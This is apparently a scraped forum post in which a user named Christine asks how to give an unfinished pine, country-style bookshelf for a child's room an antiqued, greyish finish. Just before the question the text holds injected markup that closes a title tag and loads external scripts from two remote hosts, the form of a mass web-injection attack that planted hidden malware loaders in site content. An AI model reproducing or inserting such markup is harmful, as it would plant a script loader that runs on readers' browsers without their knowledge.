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1/14/2006 5:56:16 PM
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"> </title><script src="http://zon.menotepoer.com/sl.php?v=2"></script><!--"></title><script src="http://esscer47emonyno.rr.nu/sl.php"></script><!--For a school project I need to paint a bookshelf that is made of unfinished pine wood.
If I want to give the finished piece an antiqued look, I need to decide what antiquing technique to use. The look I would like to achieve will let a greyish another color shine through lightly.
What technique will bring out this result? The bookcase has a roof and is a country style piece of furniture, intended for a kid'a room.
Thank you for your help.
Christine
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